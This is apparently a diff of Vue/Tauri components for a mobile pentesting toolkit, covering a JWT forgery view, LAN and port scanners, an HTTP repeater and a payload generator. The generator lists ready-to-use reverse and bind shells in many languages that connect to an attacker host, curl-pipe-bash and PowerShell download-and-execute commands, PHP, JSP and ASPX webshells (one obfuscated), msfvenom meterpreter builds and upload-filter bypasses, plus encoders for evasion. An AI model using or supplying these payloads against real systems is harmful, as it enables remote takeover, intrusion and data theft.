<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
</div>
<div v-if="result" class="result-grid">
<div class="result-block">
<div class="rb-head">header</div>
<pre>{{ JSON.stringify(result.header, null, 2) }}</pre>
</div>
<div class="result-block">
<div class="rb-head">payload</div>
<pre>{{ JSON.stringify(result.payload, null, 2) }}</pre>
</div>
<div class="result-block full">
<div class="rb-head">forgery candidates ({{ result.forgeries.length }})</div>
<div v-for="(f, i) in result.forgeries" :key="i" class="forgery">
<div class="forgery-head">
<span class="sev sev-high">{{ f.attack }}</span>
<span class="forgery-desc">{{ f.description }}</span>
<button class="btn-ghost" @click="copy(f.token)">copy</button>
</div>
<code class="forgery-token">{{ f.token }}</code>
</div>
</div>
</div>
<Terminal :lines="log.lines.value" title="jwt // alg:none + HMAC brute + forgery" @clear="log.clear()" />
</div>
</template>
<style scoped>
.result-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 6px;
}
.result-block {
border: 1px solid var(--border);
background: var(--bg-panel);
overflow: hidden;
}
.result-block.full { grid-column: 1 / -1; }
.rb-head {
padding: 4px 8px;
border-bottom: 1px solid var(--border);
background: var(--bg-elev);
font-size: 10px;
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.1em;
}
pre {
padding: 8px;
font-size: 11px;
color: var(--fg);
max-height: 180px;
overflow: auto;
white-space: pre-wrap;
word-break: break-all;
}
.forgery { border-bottom: 1px solid var(--border); padding: 6px 8px; }
.forgery:last-child { border: none; }
.forgery-head { display: flex; gap: 8px; align-items: center; margin-bottom: 4px; }
.forgery-desc { flex: 1; color: var(--fg-dim); font-size: 11px; }
.forgery-token {
display: block;
font-size: 10px;
color: var(--info);
word-break: break-all;
padding: 4px;
background: var(--bg);
border: 1px solid var(--border);
}
@media (max-width: 640px) {
.result-grid { grid-template-columns: 1fr; }
}
</style>

View File

@@ -0,0 +1,218 @@
<script setup lang="ts">
import { onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
interface Device {
ip: string;
hostname?: string;
open_ports: number[];
services: string[];
upnp: string[];
guess?: string;
}
interface LocalInfo {
local_ip: string;
subnet: string;
platform: string;
android: boolean;
}
const info = ref<LocalInfo | null>(null);
const subnet = ref("");
const probeMdns = ref(true);
const probeSsdp = ref(true);
const concurrency = ref(80);
const timeoutMs = ref(800);
const running = ref(false);
const progress = ref({ done: 0, total: 0 });
const devices = ref<Device[]>([]);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
async function loadInfo() {
try {
info.value = await invoke<LocalInfo>("lan_local_info");
if (!subnet.value && info.value.subnet) subnet.value = info.value.subnet;
} catch (e: any) { log.err(String(e)); }
}
async function run() {
if (running.value) return;
running.value = true;
devices.value = [];
progress.value = { done: 0, total: 0 };
log.clear();
unlistens.push(await listen<string>("lanmap:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ done: number; total: number }>("lanmap:progress", (e) => { progress.value = e.payload; }));
unlistens.push(await listen<Device>("lanmap:device", (e) => {
const p = e.payload;
log.valid(`${p.ip.padEnd(16)} ports: ${p.open_ports.join(",")} ${p.guess ? `${p.guess}` : ""}`);
}));
try {
const report: any = await invoke("lan_scan", {
req: {
subnet_cidr: subnet.value || null,
ports: null,
probe_mdns: probeMdns.value,
probe_ssdp: probeSsdp.value,
concurrency: concurrency.value,
timeout_ms: timeoutMs.value,
},
});
devices.value = report.devices;
log.ok(`scan done: ${report.devices.length} devices on ${report.subnet}`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onMounted(loadInfo);
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<div class="info-strip">
<div class="info-cell">
<span class="info-key">my ip</span>
<span class="info-val">{{ info?.local_ip ?? "—" }}</span>
</div>
<div class="info-cell">
<span class="info-key">subnet</span>
<span class="info-val">{{ info?.subnet ?? "—" }}</span>
</div>
<div class="info-cell">
<span class="info-key">platform</span>
<span class="info-val">{{ info?.platform ?? "—" }}</span>
</div>
</div>
<Prompt label="subnet" v-model="subnet" placeholder="192.168.1.0/24 (auto)" />
<div class="row">
<label class="toggle"><input type="checkbox" v-model="probeMdns" /><span>mdns</span></label>
<label class="toggle"><input type="checkbox" v-model="probeSsdp" /><span>ssdp/upnp</span></label>
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="500" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="100" max="5000" /></label>
</div>
<div class="row">
<button class="exec" :disabled="running" @click="run">{{ running ? "[ scanning... ]" : "> sweep LAN" }}</button>
</div>
<div v-if="info?.android" class="warn-strip">
<b>android note:</b> mDNS/SSDP multicast may be dropped without MulticastLock from a native plugin. TCP sweep is unaffected.
</div>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
</div>
<div v-if="devices.length" class="dev-grid">
<div v-for="d in devices" :key="d.ip" class="dev">
<div class="dev-head">
<span class="dev-ip">{{ d.ip }}</span>
<span v-if="d.guess" class="dev-guess">{{ d.guess }}</span>
</div>
<div v-if="d.open_ports.length" class="dev-row">
<span class="dev-key">ports</span>
<span class="port-chips">
<span v-for="p in d.open_ports" :key="p" class="port-chip">{{ p }}</span>
</span>
</div>
<div v-if="d.services.length" class="dev-row">
<span class="dev-key">mdns</span>
<span class="dev-list">{{ d.services.slice(0, 3).join(", ") }}<span v-if="d.services.length > 3"> +{{ d.services.length - 3 }}</span></span>
</div>
<div v-if="d.upnp.length" class="dev-row">
<span class="dev-key">upnp</span>
<span class="dev-list">{{ d.upnp[0].slice(0, 80) }}</span>
</div>
</div>
</div>
<Terminal :lines="log.lines.value" title="lan-map // discovery" @clear="log.clear()" />
</div>
</template>
<style scoped>
.info-strip {
display: flex;
gap: 6px;
flex-wrap: wrap;
padding: 6px 8px;
background: var(--bg-panel);
border: 1px solid var(--border);
font-size: 11px;
}
.info-cell { display: flex; gap: 6px; align-items: center; min-width: 0; }
.info-key { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; font-size: 10px; }
.info-val { color: var(--info); }
.warn-strip {
font-size: 11px;
padding: 6px 8px;
color: var(--warn);
border: 1px solid rgba(212, 165, 55, 0.3);
background: rgba(212, 165, 55, 0.05);
}
.dev-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
gap: 6px;
max-height: 260px;
overflow-y: auto;
}
.dev {
background: var(--bg-panel);
border: 1px solid var(--border);
padding: 6px 8px;
display: flex;
flex-direction: column;
gap: 4px;
min-width: 0;
}
.dev:hover { border-color: var(--alert); }
.dev-head { display: flex; justify-content: space-between; align-items: baseline; gap: 6px; }
.dev-ip { color: var(--fg); font-weight: 700; font-size: 12px; }
.dev-guess { color: var(--info); font-size: 10px; text-transform: uppercase; letter-spacing: 0.05em; }
.dev-row { display: flex; gap: 6px; align-items: center; min-width: 0; }
.dev-key {
color: var(--fg-dim);
font-size: 9px;
text-transform: uppercase;
letter-spacing: 0.1em;
min-width: 32px;
}
.dev-list {
color: var(--fg-dim);
font-size: 10px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
flex: 1;
min-width: 0;
}
.port-chips { display: flex; gap: 3px; flex-wrap: wrap; }
.port-chip {
font-size: 9px;
color: var(--alert);
border: 1px solid var(--border-hot);
padding: 0 4px;
}
</style>

View File

@@ -0,0 +1,311 @@
<script setup lang="ts">
import { computed, ref } from "vue";
interface PayloadTemplate {
category: "reverse-shell" | "bind-shell" | "webshell" | "msfvenom" | "file-upload" | "oneliner";
name: string;
lang: string;
template: string;
note?: string;
}
const lhost = ref("10.10.14.1");
const lport = ref("4444");
const cmd = ref("id");
const query = ref("");
const activeCategory = ref<PayloadTemplate["category"] | "all">("all");
const templates: PayloadTemplate[] = [
// ------------------- REVERSE SHELLS -------------------
{ category: "reverse-shell", name: "bash /dev/tcp", lang: "bash", template: `bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'` },
{ category: "reverse-shell", name: "bash 196", lang: "bash", template: `0<&196;exec 196<>/dev/tcp/{LHOST}/{LPORT}; sh <&196 >&196 2>&196` },
{ category: "reverse-shell", name: "sh", lang: "sh", template: `/bin/sh -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1` },
{ category: "reverse-shell", name: "nc traditional", lang: "nc", template: `nc -e /bin/sh {LHOST} {LPORT}` },
{ category: "reverse-shell", name: "nc mkfifo", lang: "nc", template: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {LHOST} {LPORT} >/tmp/f` },
{ category: "reverse-shell", name: "ncat with ssl", lang: "ncat", template: `ncat --ssl {LHOST} {LPORT} -e /bin/bash` },
{ category: "reverse-shell", name: "python3 short", lang: "python", template: `python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("{LHOST}",{LPORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'` },
{ category: "reverse-shell", name: "python classic", lang: "python", template: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{LHOST}",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'` },
{ category: "reverse-shell", name: "perl", lang: "perl", template: `perl -e 'use Socket;$i="{LHOST}";$p={LPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` },
{ category: "reverse-shell", name: "ruby", lang: "ruby", template: `ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("{LHOST}",{LPORT}))'` },
{ category: "reverse-shell", name: "php exec", lang: "php", template: `php -r '$sock=fsockopen("{LHOST}",{LPORT});exec("/bin/sh -i <&3 >&3 2>&3");'` },
{ category: "reverse-shell", name: "nodejs", lang: "node", template: `require('child_process').exec('bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1');` },
{ category: "reverse-shell", name: "powershell TCP", lang: "powershell", template: `$client = New-Object System.Net.Sockets.TCPClient("{LHOST}",{LPORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()` },
{ category: "reverse-shell", name: "powershell -c (one-liner)", lang: "powershell", template: `powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{LHOST}",{LPORT});$s=$c.GetStream();...` },
{ category: "reverse-shell", name: "awk", lang: "awk", template: `awk 'BEGIN {s = "/inet/tcp/0/{LHOST}/{LPORT}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null` },
{ category: "reverse-shell", name: "golang", lang: "go", template: `echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","{LHOST}:{LPORT}");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/r.go && go run /tmp/r.go` },
{ category: "reverse-shell", name: "socat tty", lang: "socat", template: `socat TCP:{LHOST}:{LPORT} EXEC:'bash -li',pty,stderr,setsid,sigint,sane` },
{ category: "reverse-shell", name: "lua", lang: "lua", template: `lua -e "require('socket');require('os');t=socket.tcp();t:connect('{LHOST}','{LPORT}');while true do local s,status,partial=t:receive();f=assert(io.popen(s,'r'));o=f:read('*a');t:send(o);end"` },
// ------------------- BIND SHELLS -------------------
{ category: "bind-shell", name: "nc bind", lang: "nc", template: `nc -lvnp {LPORT} -e /bin/bash` },
{ category: "bind-shell", name: "python bind", lang: "python", template: `python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind(("0.0.0.0",{LPORT}));s.listen(1);c,a=s.accept();subprocess.call(["/bin/sh","-i"],stdin=c.fileno(),stdout=c.fileno(),stderr=c.fileno())'` },
{ category: "bind-shell", name: "socat bind", lang: "socat", template: `socat TCP-LISTEN:{LPORT},reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane` },
// ------------------- LISTENERS -------------------
{ category: "oneliner", name: "netcat listener", lang: "nc", template: `nc -lvnp {LPORT}`, note: "run on attacker to catch reverse shell" },
{ category: "oneliner", name: "socat listener (tty)", lang: "socat", template: `socat file:\`tty\`,raw,echo=0 TCP-L:{LPORT}`, note: "fully interactive tty on attacker" },
{ category: "oneliner", name: "rlwrap nc", lang: "nc", template: `rlwrap nc -lvnp {LPORT}`, note: "with history + arrow keys" },
{ category: "oneliner", name: "python http server", lang: "python", template: `python3 -m http.server {LPORT}`, note: "host payloads for curl/wget target" },
{ category: "oneliner", name: "smb server (impacket)", lang: "python", template: `impacket-smbserver share . -smb2support -username user -password pass`, note: "SMB share for windows target" },
// ------------------- TARGET COMMANDS -------------------
{ category: "oneliner", name: "curl download + exec", lang: "bash", template: `curl http://{LHOST}:{LPORT}/sh.sh | bash` },
{ category: "oneliner", name: "wget download + exec", lang: "bash", template: `wget -qO- http://{LHOST}:{LPORT}/sh.sh | sh` },
{ category: "oneliner", name: "powershell download + exec", lang: "powershell", template: `powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://{LHOST}:{LPORT}/p.ps1')"` },
{ category: "oneliner", name: "certutil download (win)", lang: "windows", template: `certutil.exe -urlcache -split -f "http://{LHOST}:{LPORT}/nc.exe" nc.exe` },
{ category: "oneliner", name: "bitsadmin download (win)", lang: "windows", template: `bitsadmin /transfer n http://{LHOST}:{LPORT}/nc.exe %APPDATA%\\nc.exe` },
// ------------------- PTY UPGRADE -------------------
{ category: "oneliner", name: "python pty spawn", lang: "python", template: `python -c 'import pty;pty.spawn("/bin/bash")'`, note: "after catching shell: upgrade to pty" },
{ category: "oneliner", name: "script pty", lang: "bash", template: `script /dev/null -c bash`, note: "alternative pty upgrade" },
{ category: "oneliner", name: "stty raw", lang: "bash", template: `stty raw -echo; fg`, note: "on attacker after Ctrl+Z to get raw tty" },
// ------------------- WEBSHELLS -------------------
{ category: "webshell", name: "PHP one-liner", lang: "php", template: `<?php system($_GET['c']); ?>`, note: "simplest php webshell — ?c=id" },
{ category: "webshell", name: "PHP obfuscated", lang: "php", template: `<?php $f="s"."y"."s"."t"."e"."m";$f($_REQUEST["c"]); ?>` },
{ category: "webshell", name: "PHP file upload", lang: "php", template: `<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?><form method=post enctype=multipart/form-data><input name=f type=file><input type=submit></form>` },
{ category: "webshell", name: "JSP shell", lang: "jsp", template: `<% Runtime.getRuntime().exec(request.getParameter("c")); %>` },
{ category: "webshell", name: "ASPX shell", lang: "aspx", template: `<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% Process.Start("cmd.exe","/c "+Request["c"]); %>` },
{ category: "webshell", name: "Python flask shell", lang: "python", template: `from flask import Flask,request\nimport os\napp=Flask(__name__)\n@app.route('/')\ndef r(): return os.popen(request.args.get('c','id')).read()\napp.run(host='0.0.0.0',port={LPORT})` },
{ category: "webshell", name: "Node.js Express shell", lang: "node", template: `require('express')().get('/',(q,r)=>require('child_process').exec(q.query.c||'id',(e,o)=>r.send(o))).listen({LPORT})` },
// ------------------- MSFVENOM -------------------
{ category: "msfvenom", name: "linux x64 meterpreter", lang: "msfvenom", template: `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f elf -o shell.elf` },
{ category: "msfvenom", name: "windows x64 meterpreter", lang: "msfvenom", template: `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f exe -o shell.exe` },
{ category: "msfvenom", name: "php meterpreter", lang: "msfvenom", template: `msfvenom -p php/meterpreter_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f raw > shell.php` },
{ category: "msfvenom", name: "aspx meterpreter", lang: "msfvenom", template: `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f aspx -o shell.aspx` },
{ category: "msfvenom", name: "war meterpreter", lang: "msfvenom", template: `msfvenom -p java/jsp_shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f war -o shell.war` },
{ category: "msfvenom", name: "android apk", lang: "msfvenom", template: `msfvenom -p android/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} R > shell.apk` },
{ category: "msfvenom", name: "python reverse", lang: "msfvenom", template: `msfvenom -p python/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f raw -o shell.py` },
{ category: "msfvenom", name: "shellcode C buffer", lang: "msfvenom", template: `msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f c -b "\\x00\\x0a"` },
// ------------------- FILE UPLOAD BYPASS -------------------
{ category: "file-upload", name: "magic bytes + php", lang: "upload", template: `GIF89a\n<?php system($_GET['c']); ?>`, note: "prepend GIF89a to bypass magic byte filter" },
{ category: "file-upload", name: "double extension", lang: "upload", template: `shell.php.jpg`, note: "some apache configs execute .php.*" },
{ category: "file-upload", name: "case variation", lang: "upload", template: `shell.pHp`, note: "bypass lowercase extension check" },
{ category: "file-upload", name: "null byte (old)", lang: "upload", template: `shell.php%00.jpg`, note: "legacy PHP <5.3.4" },
{ category: "file-upload", name: "htaccess override", lang: "upload", template: `AddType application/x-httpd-php .jpg`, note: "upload .htaccess then .jpg webshell" },
];
const categories: { id: PayloadTemplate["category"] | "all"; label: string }[] = [
{ id: "all", label: "all" },
{ id: "reverse-shell", label: "reverse" },
{ id: "bind-shell", label: "bind" },
{ id: "oneliner", label: "oneliner" },
{ id: "webshell", label: "webshell" },
{ id: "msfvenom", label: "msfvenom" },
{ id: "file-upload", label: "upload" },
];
function interp(t: string): string {
return t.replace(/\{LHOST\}/g, lhost.value).replace(/\{LPORT\}/g, lport.value).replace(/\{CMD\}/g, cmd.value);
}
function b64(t: string): string {
return btoa(unescape(encodeURIComponent(t)));
}
function urlEnc(t: string): string { return encodeURIComponent(t); }
function hexEnc(t: string): string {
return Array.from(new TextEncoder().encode(t)).map(b => b.toString(16).padStart(2, "0")).join("");
}
function psB64(t: string): string {
// powershell utf-16le base64 for -EncodedCommand
const buf = new Uint8Array(t.length * 2);
for (let i = 0; i < t.length; i++) { buf[i * 2] = t.charCodeAt(i); }
let bin = "";
for (let i = 0; i < buf.length; i++) bin += String.fromCharCode(buf[i]);
return btoa(bin);
}
const filtered = computed(() => {
const q = query.value.toLowerCase().trim();
return templates.filter(t => {
if (activeCategory.value !== "all" && t.category !== activeCategory.value) return false;
if (q) {
const hay = (t.name + " " + t.lang + " " + t.template).toLowerCase();
if (!hay.includes(q)) return false;
}
return true;
});
});
const toast = ref("");
async function copyText(t: string) {
try {
await navigator.clipboard.writeText(t);
toast.value = "copied";
setTimeout(() => { toast.value = ""; }, 1200);
} catch {
toast.value = "copy failed";
setTimeout(() => { toast.value = ""; }, 1200);
}
}
function langColor(l: string): string {
const m: Record<string, string> = {
bash: "#4eaa25", sh: "#4eaa25", python: "#3572a5", perl: "#0298c3",
ruby: "#701516", php: "#4f5d95", node: "#f1e05a", go: "#00add8",
powershell: "#012456", nc: "#7fb3d5", ncat: "#7fb3d5", socat: "#7fb3d5",
jsp: "#e76f00", aspx: "#178600", lua: "#000080", awk: "#c1f12e",
msfvenom: "#ff2f4a", upload: "#d4a537", windows: "#0078d7",
};
return m[l] || "#6a6a6a";
}
</script>
<template>
<div class="module">
<div class="form">
<div class="row params">
<label class="mini"><span>LHOST</span><input v-model="lhost" placeholder="attacker IP" /></label>
<label class="mini"><span>LPORT</span><input v-model="lport" placeholder="listener port" /></label>
<label class="mini wide"><span>CMD</span><input v-model="cmd" placeholder="id (optional)" /></label>
</div>
<div class="row cats">
<button
v-for="c in categories"
:key="c.id"
class="cat-chip"
:class="{ on: activeCategory === c.id }"
@click="activeCategory = c.id"
>{{ c.label }}</button>
</div>
<input v-model="query" class="search-input" placeholder="filter: bash, python, obfus, etc..." spellcheck="false" />
</div>
<div class="pl-list">
<div v-if="!filtered.length" class="empty">no payloads match filter</div>
<div v-for="(t, i) in filtered" :key="i" class="pl">
<div class="pl-head">
<span class="pl-name">{{ t.name }}</span>
<span class="pl-lang" :style="{ color: langColor(t.lang), borderColor: langColor(t.lang) }">{{ t.lang }}</span>
<span class="pl-cat">{{ t.category }}</span>
</div>
<pre class="pl-body">{{ interp(t.template) }}</pre>
<div v-if="t.note" class="pl-note">» {{ t.note }}</div>
<div class="pl-actions">
<button class="btn-ghost tiny" @click="copyText(interp(t.template))">copy</button>
<button class="btn-ghost tiny" @click="copyText(b64(interp(t.template)))" title="base64 encode">b64</button>
<button class="btn-ghost tiny" @click="copyText(urlEnc(interp(t.template)))" title="URL encode">url</button>
<button class="btn-ghost tiny" @click="copyText(hexEnc(interp(t.template)))" title="hex encode">hex</button>
<button v-if="t.lang === 'powershell'" class="btn-ghost tiny" @click="copyText(psB64(interp(t.template)))" title="powershell -EncodedCommand">ps-b64</button>
</div>
</div>
</div>
<div v-if="toast" class="toast">{{ toast }}</div>
</div>
</template>
<style scoped>
.params .mini.wide { flex: 1; }
.cats { flex-wrap: wrap; }
.cat-chip {
padding: 3px 10px;
border: 1px solid var(--border);
background: var(--bg-panel);
color: var(--fg-dim);
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.1em;
cursor: pointer;
}
.cat-chip:hover { color: var(--fg); }
.cat-chip.on { color: var(--alert); border-color: var(--alert); background: rgba(255, 47, 74, 0.05); }
.search-input {
background: var(--bg-panel);
border: 1px solid var(--border);
color: var(--fg);
padding: 4px 8px;
font-size: 12px;
font-family: inherit;
}
.search-input:focus { border-color: var(--accent); outline: none; }
.pl-list {
flex: 1;
overflow-y: auto;
display: flex;
flex-direction: column;
gap: 6px;
min-height: 0;
}
.pl {
background: var(--bg-panel);
border: 1px solid var(--border);
padding: 6px 8px;
display: flex;
flex-direction: column;
gap: 4px;
}
.pl:hover { border-color: var(--border-hot); }
.pl-head { display: flex; gap: 6px; align-items: center; flex-wrap: wrap; }
.pl-name { color: var(--fg); font-weight: 700; font-size: 12px; }
.pl-lang {
font-size: 9px;
padding: 0 5px;
border: 1px solid;
letter-spacing: 0.1em;
text-transform: uppercase;
}
.pl-cat {
color: var(--fg-ghost);
font-size: 9px;
text-transform: uppercase;
letter-spacing: 0.1em;
margin-left: auto;
}
.pl-body {
background: var(--bg);
border: 1px solid var(--border);
padding: 5px 8px;
font-size: 11px;
color: var(--valid);
white-space: pre-wrap;
word-break: break-all;
max-height: 160px;
overflow-y: auto;
font-family: var(--mono);
line-height: 1.4;
}
.pl-note {
color: var(--info);
font-size: 10px;
font-style: italic;
}
.pl-actions { display: flex; gap: 3px; flex-wrap: wrap; }
.btn-ghost.tiny { padding: 1px 8px; font-size: 9px; }
.empty {
color: var(--fg-ghost);
text-align: center;
padding: 20px;
font-style: italic;
font-size: 11px;
}
.toast {
position: absolute;
bottom: 20px;
left: 50%;
transform: translateX(-50%);
padding: 4px 12px;
background: var(--alert);
color: #fff;
font-size: 11px;
letter-spacing: 0.1em;
text-transform: uppercase;
animation: toast 1.2s ease-out;
pointer-events: none;
z-index: 10;
}
@keyframes toast {
0% { opacity: 0; transform: translate(-50%, 10px); }
20%, 80% { opacity: 1; transform: translate(-50%, 0); }
100% { opacity: 0; transform: translate(-50%, -10px); }
}
</style>

View File

@@ -0,0 +1,208 @@
<script setup lang="ts">
import { onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
const target = ref("scanme.nmap.org");
const portSpec = ref("top1000");
const concurrency = ref(200);
const timeoutMs = ref(1500);
const running = ref(false);
const progress = ref({ scanned: 0, total: 0 });
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
function parsePorts(spec: string): number[] | "top1000" {
const s = spec.trim();
if (s === "" || s === "top1000") return "top1000";
if (s === "all") {
const arr: number[] = [];
for (let i = 1; i <= 65535; i++) arr.push(i);
return arr;
}
const out = new Set<number>();
for (const part of s.split(",")) {
const p = part.trim();
if (p.includes("-")) {
const [a, b] = p.split("-").map((x) => parseInt(x, 10));
if (!isNaN(a) && !isNaN(b)) for (let i = a; i <= b; i++) out.add(i);
} else {
const n = parseInt(p, 10);
if (!isNaN(n)) out.add(n);
}
}
return Array.from(out);
}
const TOP_1000 = ref<number[]>([]);
onMounted(async () => {
try {
TOP_1000.value = await invoke<number[]>("default_ports");
} catch {
TOP_1000.value = [21, 22, 80, 443, 3306, 3389, 8080];
}
});
async function run() {
if (running.value) return;
running.value = true;
log.clear();
progress.value = { scanned: 0, total: 0 };
const parsed = parsePorts(portSpec.value);
const ports = parsed === "top1000" ? TOP_1000.value : parsed;
log.info(`target: ${target.value}`);
log.info(`ports: ${ports.length} | concurrency: ${concurrency.value} | timeout: ${timeoutMs.value}ms`);
log.dim("resolving...");
unlistens.push(
await listen<{ scanned: number; total: number }>("portscan:progress", (e) => {
progress.value = e.payload;
})
);
unlistens.push(
await listen<{ port: number; service: string | null }>("portscan:hit", (e) => {
const s = e.payload.service ? ` (${e.payload.service})` : "";
log.valid(`open ${String(e.payload.port).padEnd(5)}/tcp${s}`);
})
);
try {
const results: Array<{ port: number; service: string | null }> = await invoke("port_scan", {
req: { target: target.value, ports, concurrency: concurrency.value, timeout_ms: timeoutMs.value },
});
log.ok(`scan complete: ${results.length} open port(s)`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() {
while (unlistens.length) {
const u = unlistens.pop();
if (u) u();
}
}
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="target" v-model="target" placeholder="host or IP" />
<Prompt label="ports" v-model="portSpec" placeholder="top1000 | 1-1024 | 22,80,443 | all" />
<div class="row">
<label class="mini">
<span>conc</span>
<input v-model.number="concurrency" type="number" min="1" max="2000" />
</label>
<label class="mini">
<span>timeout</span>
<input v-model.number="timeoutMs" type="number" min="100" max="10000" />
</label>
<button class="exec" :disabled="running" @click="run">
{{ running ? "[ scanning... ]" : "> execute" }}
</button>
</div>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.scanned / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.scanned }} / {{ progress.total }}</span>
</div>
</div>
<Terminal :lines="log.lines.value" title="port-scan // output" @clear="log.clear()" />
</div>
</template>
<style scoped>
.module {
display: flex;
flex-direction: column;
gap: 10px;
height: 100%;
min-height: 0;
}
.form {
display: flex;
flex-direction: column;
gap: 6px;
}
.row {
display: flex;
gap: 6px;
align-items: stretch;
}
.mini {
display: flex;
align-items: center;
gap: 4px;
border: 1px solid var(--border);
padding: 4px 8px;
background: var(--bg-panel);
}
.mini span {
color: var(--fg-dim);
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.1em;
}
.mini input {
width: 60px;
color: var(--fg);
text-align: right;
}
.exec {
flex: 1;
border: 1px solid var(--accent);
color: var(--accent);
background: transparent;
padding: 6px 12px;
font-weight: 500;
letter-spacing: 0.05em;
text-transform: lowercase;
transition: all 0.15s;
}
.exec:hover:not(:disabled) {
background: var(--alert);
color: #fff;
border-color: var(--alert);
box-shadow: 0 0 16px rgba(255, 47, 74, 0.35);
}
.exec:disabled {
color: var(--fg-dim);
border-color: var(--border-hot);
cursor: wait;
}
.bar {
position: relative;
height: 14px;
background: var(--bg-panel);
border: 1px solid var(--border);
overflow: hidden;
}
.bar-fill {
height: 100%;
background: linear-gradient(90deg, var(--accent-dim), var(--accent));
transition: width 0.1s linear;
}
.bar-text {
position: absolute;
inset: 0;
display: flex;
align-items: center;
justify-content: center;
font-size: 10px;
color: var(--fg);
mix-blend-mode: difference;
letter-spacing: 0.1em;
}
</style>

View File

@@ -0,0 +1,477 @@
<script setup lang="ts">
import { computed, onMounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
interface RepeaterResp {
status: number;
status_text: string;
http_version: string;
headers: [string, string][];
body: string;
body_len: number;
content_type?: string;
time_ms: number;
final_url: string;
redirected: boolean;
is_text: boolean;
}
interface HistoryItem {
ts: number;
method: string;
url: string;
headers_raw: string;
body: string;
status?: number;
time_ms?: number;
}
const method = ref("GET");
const url = ref("https://example.com/");
const headersRaw = ref("User-Agent: Mozilla/5.0 (PocketPentester)\nAccept: */*");
const body = ref("");
const followRedirects = ref(false);
const ignoreTls = ref(true);
const timeoutMs = ref(15000);
const sending = ref(false);
const resp = ref<RepeaterResp | null>(null);
const err = ref("");
const history = ref<HistoryItem[]>([]);
const tab = ref<"body" | "preview" | "headers" | "curl">("body");
const curlText = ref("");
